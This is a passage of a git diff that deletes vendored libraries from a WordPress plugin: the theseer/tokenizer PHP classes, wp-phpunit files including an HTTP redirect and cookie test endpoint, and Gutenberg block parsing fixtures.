+0,0 @@ -ensureValidUri($value); - $this->value = $value; - } - - public function asString(): string { - return $this->value; - } - - private function ensureValidUri($value): void { - if (\strpos($value, ':') === false) { - throw new NamespaceUriException( - \sprintf("Namespace URI '%s' must contain at least one colon", $value) - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/NamespaceUriException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/NamespaceUriException.php deleted file mode 100644 index ab1c48d2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/NamespaceUriException.php +++ /dev/null @@ -1,5 +0,0 @@ -line = $line; - $this->name = $name; - $this->value = $value; - } - - public function getLine(): int { - return $this->line; - } - - public function getName(): string { - return $this->name; - } - - public function getValue(): string { - return $this->value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollection.php deleted file mode 100644 index e5e6e401..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollection.php +++ /dev/null @@ -1,93 +0,0 @@ -tokens[] = $token; - } - - public function current(): Token { - return \current($this->tokens); - } - - public function key(): int { - return \key($this->tokens); - } - - public function next(): void { - \next($this->tokens); - $this->pos++; - } - - public function valid(): bool { - return $this->count() > $this->pos; - } - - public function rewind(): void { - \reset($this->tokens); - $this->pos = 0; - } - - public function count(): int { - return \count($this->tokens); - } - - public function offsetExists($offset): bool { - return isset($this->tokens[$offset]); - } - - /** - * @throws TokenCollectionException - */ - public function offsetGet($offset): Token { - if (!$this->offsetExists($offset)) { - throw new TokenCollectionException( - \sprintf('No Token at offest %s', $offset) - ); - } - - return $this->tokens[$offset]; - } - - /** - * @param Token $value - * - * @throws TokenCollectionException - */ - public function offsetSet($offset, $value): void { - if (!\is_int($offset)) { - $type = \gettype($offset); - - throw new TokenCollectionException( - \sprintf( - 'Offset must be of type integer, %s given', - $type === 'object' ? \get_class($value) : $type - ) - ); - } - - if (!$value instanceof Token) { - $type = \gettype($value); - - throw new TokenCollectionException( - \sprintf( - 'Value must be of type %s, %s given', - Token::class, - $type === 'object' ? \get_class($value) : $type - ) - ); - } - $this->tokens[$offset] = $value; - } - - public function offsetUnset($offset): void { - unset($this->tokens[$offset]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollectionException.php deleted file mode 100644 index 4291ce0c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/TokenCollectionException.php +++ /dev/null @@ -1,5 +0,0 @@ - 'T_OPEN_BRACKET', - ')' => 'T_CLOSE_BRACKET', - '[' => 'T_OPEN_SQUARE', - ']' => 'T_CLOSE_SQUARE', - '{' => 'T_OPEN_CURLY', - '}' => 'T_CLOSE_CURLY', - ';' => 'T_SEMICOLON', - '.' => 'T_DOT', - ',' => 'T_COMMA', - '=' => 'T_EQUAL', - '<' => 'T_LT', - '>' => 'T_GT', - '+' => 'T_PLUS', - '-' => 'T_MINUS', - '*' => 'T_MULT', - '/' => 'T_DIV', - '?' => 'T_QUESTION_MARK', - '!' => 'T_EXCLAMATION_MARK', - ':' => 'T_COLON', - '"' => 'T_DOUBLE_QUOTES', - '@' => 'T_AT', - '&' => 'T_AMPERSAND', - '%' => 'T_PERCENT', - '|' => 'T_PIPE', - '$' => 'T_DOLLAR', - '^' => 'T_CARET', - '~' => 'T_TILDE', - '`' => 'T_BACKTICK' - ]; - - public function parse(string $source): TokenCollection { - $result = new TokenCollection(); - - if ($source === '') { - return $result; - } - - $tokens = \token_get_all($source); - - $lastToken = new Token( - $tokens[0][2], - 'Placeholder', - '' - ); - - foreach ($tokens as $pos => $tok) { - if (\is_string($tok)) { - $token = new Token( - $lastToken->getLine(), - $this->map[$tok], - $tok - ); - $result->addToken($token); - $lastToken = $token; - - continue; - } - - $line = $tok[2]; - $values = \preg_split('/\R+/Uu', $tok[1]); - - if (!$values) { - $result->addToken( - new Token( - $line, - \token_name($tok[0]), - '{binary data}' - ) - ); - - continue; - } - - foreach ($values as $v) { - $token = new Token( - $line, - \token_name($tok[0]), - $v - ); - $lastToken = $token; - $line++; - - if ($v === '') { - continue; - } - - $result->addToken($token); - } - } - - return $this->fillBlanks($result, $lastToken->getLine()); - } - - private function fillBlanks(TokenCollection $tokens, int $maxLine): TokenCollection { - $prev = new Token( - 0, - 'Placeholder', - '' - ); - - $final = new TokenCollection(); - - foreach ($tokens as $token) { - $gap = $token->getLine() - $prev->getLine(); - - while ($gap > 1) { - $linebreak = new Token( - $prev->getLine() + 1, - 'T_WHITESPACE', - '' - ); - $final->addToken($linebreak); - $prev = $linebreak; - $gap--; - } - - $final->addToken($token); - $prev = $token; - } - - $gap = $maxLine - $prev->getLine(); - - while ($gap > 0) { - $linebreak = new Token( - $prev->getLine() + 1, - 'T_WHITESPACE', - '' - ); - $final->addToken($linebreak); - $prev = $linebreak; - $gap--; - } - - return $final; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/XMLSerializer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/XMLSerializer.php deleted file mode 100644 index 518bfb06..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/theseer/tokenizer/src/XMLSerializer.php +++ /dev/null @@ -1,79 +0,0 @@ -xmlns = $xmlns; - } - - public function toDom(TokenCollection $tokens): DOMDocument { - $dom = new DOMDocument(); - $dom->preserveWhiteSpace = false; - $dom->loadXML($this->toXML($tokens)); - - return $dom; - } - - public function toXML(TokenCollection $tokens): string { - $this->writer = new \XMLWriter(); - $this->writer->openMemory(); - $this->writer->setIndent(true); - $this->writer->startDocument(); - $this->writer->startElement('source'); - $this->writer->writeAttribute('xmlns', $this->xmlns->asString()); - - if (\count($tokens) > 0) { - $this->writer->startElement('line'); - $this->writer->writeAttribute('no', '1'); - - $this->previousToken = $tokens[0]; - - foreach ($tokens as $token) { - $this->addToken($token); - } - } - - $this->writer->endElement(); - $this->writer->endElement(); - $this->writer->endDocument(); - - return $this->writer->outputMemory(); - } - - private function addToken(Token $token): void { - if ($this->previousToken->getLine() < $token->getLine()) { - $this->writer->endElement(); - - $this->writer->startElement('line'); - $this->writer->writeAttribute('no', (string)$token->getLine()); - $this->previousToken = $token; - } - - if ($token->getValue() !== '') { - $this->writer->startElement('token'); - $this->writer->writeAttribute('name', $token->getName()); - $this->writer->writeRaw(\htmlspecialchars($token->getValue(), \ENT_NOQUOTES | \ENT_DISALLOWED | \ENT_XML1)); - $this->writer->endElement(); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/README.md deleted file mode 100644 index da6eb470..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# WP PHPUnit - -[![Packagist Version](https://img.shields.io/packagist/v/wp-phpunit/wp-phpunit.svg)](https://packagist.org/packages/wp-phpunit/wp-phpunit) -[![Packagist Downloads](https://img.shields.io/packagist/dt/wp-phpunit/wp-phpunit.svg)](https://packagist.org/packages/wp-phpunit/wp-phpunit) -[![Packagist License](https://img.shields.io/packagist/l/wp-phpunit/wp-phpunit.svg)](https://packagist.org/packages/wp-phpunit/wp-phpunit) - -The WordPress core PHPUnit library. - -**This repository is built from the official WordPress git mirror `git://develop.git.wordpress.org`. Please direct all issues [here](https://github.com/wp-phpunit/issues/issues).** - -For more information, [see the documentation](https://github.com/wp-phpunit/docs). diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/__loaded.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/__loaded.php deleted file mode 100644 index ce4145bb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/__loaded.php +++ /dev/null @@ -1,8 +0,0 @@ - $value ) { - if ( stripos($key, 'http') === 0 ) { - $key = strtolower(substr($key, 5)); - echo "$key:$value\n"; - } - } - exit; -} -if ( isset($_GET['multiple-headers']) ) { - header("HeaderName: One", false); - header("HeaderName: Two", false); - header("HeaderName: Three", false); - exit; -} - -if ( isset( $_GET['post-redirect-to-method'] ) ) { - $method = $_SERVER['REQUEST_METHOD']; - $response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301; - - if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) { - header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code ); - exit; - } - - echo $method; - exit; - -} - -if ( isset( $_GET['location-with-200'] ) ) { - if ( ! isset( $_GET['redirection-performed'] ) ) { - header( "HTTP/1.1 200 OK" ); - header( "Location: $url?location-with-200=1&redirection-performed", true, 200 ); - echo 'PASS'; - exit; - } - // Redirection was followed. - echo 'FAIL'; - exit; -} - -if ( isset( $_GET['print-pass'] ) ) { - echo 'PASS'; - exit; -} - -if ( isset( $_GET['multiple-location-headers'] ) ) { - if ( ! isset( $_GET['redirected'] ) ) { - header( "Location: $url?multiple-location-headers=1&redirected=one", false ); - header( "Location: $url?multiple-location-headers=1&redirected=two", false ); - exit; - } - if ( 'two' != $_GET['redirected'] ) - echo 'FAIL'; - else - echo 'PASS'; - exit; -} - -if ( isset( $_GET['cookie-test'] ) ) { - if ( 'test-cookie' != $_GET['cookie-test'] ) { - setcookie( 'api_test_cookie', 'value', time() + 365*24*60*60, '/core/tests/1.0/', 'api.wordpress.org' ); - setcookie( 'api_test_cookie_minimal', 'value' ); - setcookie( 'api_test_cookie_wrong_host', 'value', time() + 365*24*60*60, '/', 'example.com' ); - setcookie( 'api_test_wildcard_domain', 'value', time() + 365*24*60*60, '/', '.wordpress.org' ); - setcookie( 'api_test_cookie_expired', 'value', time() - 365*24*60*60, '/', '.wordpress.org' ); - header( "Location: $url?cookie-test=test-cookie" ); - exit; - } - - if ( empty( $_COOKIE['api_test_cookie'] ) || 'value' != $_COOKIE['api_test_cookie'] ) - die( 'FAIL_NO_COOKIE' ); - if ( empty( $_COOKIE['api_test_cookie_minimal'] ) ) - die( 'FAIL_NO_MINIMAL' ); - if ( isset( $_COOKIE['api_test_cookie_wrong_host'] ) ) - die( 'FAIL_WRONG_HOST' ); - if ( empty( $_COOKIE['api_test_wildcard_domain'] ) ) - die( 'FAIL_NO_WILDCARD' ); - if ( isset( $_COOKIE['api_test_cookie_expired'] ) ) - die( 'FAIL_EXPIRED_COOKIE' ); - - echo 'PASS'; - exit; -} - - -$rt = isset($_GET['rt']) ? $_GET['rt'] : 5; -$r = isset($_GET['r']) ? $_GET['r'] : 0; - -if ( $r < $rt ) { - $code = isset($_GET['code']) ? (int)$_GET['code'] : 302; - header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code); - echo "Redirect $r of $rt"; - exit; -} -echo "Redirect $r of $rt is FINAL.
      "; -echo "GET['rt'] = Total times to redirect. Defaults to 5.
      "; -echo "GET['r'] = Current redirection. Defaults to 0.
      "; -echo "View Source"; - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-expected.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-expected.html deleted file mode 100644 index f4131820..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-expected.html +++ /dev/null @@ -1,22 +0,0 @@ -

      First Auto Paragraph

      - - - - -

      First Gutenberg Paragraph

      - - -

      Second Auto Paragraph

      - - - - -

      Third Gutenberg Paragraph

      - - -

      Third Auto Paragraph

      - -

      [someshortcode]

      -

      And some content?!

      -

      [/someshortcode]

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-original.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-original.html deleted file mode 100644 index bbd2eb4b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/do-blocks-original.html +++ /dev/null @@ -1,25 +0,0 @@ -

      First Auto Paragraph

      - - - - -

      First Gutenberg Paragraph

      - - -

      Second Auto Paragraph

      - - - - -

      Third Gutenberg Paragraph

      - - -

      Third Auto Paragraph

      - - -[someshortcode] - -And some content?! - -[/someshortcode] - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html deleted file mode 100644 index 220f8b60..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json deleted file mode 100644 index 3439923f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/freeform", - "isValid": true, - "attributes": { - "content": "

      " - }, - "innerBlocks": [], - "originalContent": "

      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json deleted file mode 100644 index b3c0c79a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.parsed.json +++ /dev/null @@ -1,11 +0,0 @@ -[ - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html deleted file mode 100644 index fe35001a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.serialized.html +++ /dev/null @@ -1 +0,0 @@ -

      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html deleted file mode 100644 index 220f8b60..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__4-invalid-starting-letter.server.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.html deleted file mode 100644 index dbed6fec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.json deleted file mode 100644 index ad43f405..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/archives", - "isValid": true, - "attributes": { - "displayAsDropdown": false, - "showPostCounts": false - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.parsed.json deleted file mode 100644 index f974a7a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.parsed.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "blockName": "core/archives", - "attrs": { - "displayAsDropdown": false, - "showPostCounts": false - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.serialized.html deleted file mode 100644 index b8928752..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.server.html deleted file mode 100644 index 19e64659..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives.server.html +++ /dev/null @@ -1 +0,0 @@ -
      No archives to show.
      \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.html deleted file mode 100644 index cce02a6a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.json deleted file mode 100644 index 0c1514e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/archives", - "isValid": true, - "attributes": { - "displayAsDropdown": false, - "showPostCounts": true - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json deleted file mode 100644 index 88439c3f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.parsed.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "blockName": "core/archives", - "attrs": { - "displayAsDropdown": false, - "showPostCounts": true - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html deleted file mode 100644 index e2940167..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html deleted file mode 100644 index 19e64659..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__archives__showPostCounts.server.html +++ /dev/null @@ -1 +0,0 @@ -
      No archives to show.
      \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.html deleted file mode 100644 index cfa3f202..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.json deleted file mode 100644 index f9acbfdd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/audio", - "isValid": true, - "attributes": { - "src": "https://media.simplecast.com/episodes/audio/80564/draft-podcast-51-livePublish2.mp3", - "caption": "", - "autoplay": false, - "loop": false, - "align": "right" - }, - "innerBlocks": [], - "originalContent": "
      \n \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.parsed.json deleted file mode 100644 index 6b0acbd0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/audio", - "attrs": { - "align": "right" - }, - "innerBlocks": [], - "innerHTML": "\n
      \n \n
      \n", - "innerContent": [ "\n
      \n \n
      \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.serialized.html deleted file mode 100644 index f7b69332..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.server.html deleted file mode 100644 index 35d42b09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__audio.server.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.html deleted file mode 100644 index 25cde661..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.json deleted file mode 100644 index da89e970..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/block", - "isValid": true, - "attributes": { - "ref": 123 - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.parsed.json deleted file mode 100644 index 33c4d86f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/block", - "attrs": { - "ref": 123 - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.serialized.html deleted file mode 100644 index 65efadb4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.server.html deleted file mode 100644 index 8b137891..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__block.server.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.html deleted file mode 100644 index ce1262f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.json deleted file mode 100644 index 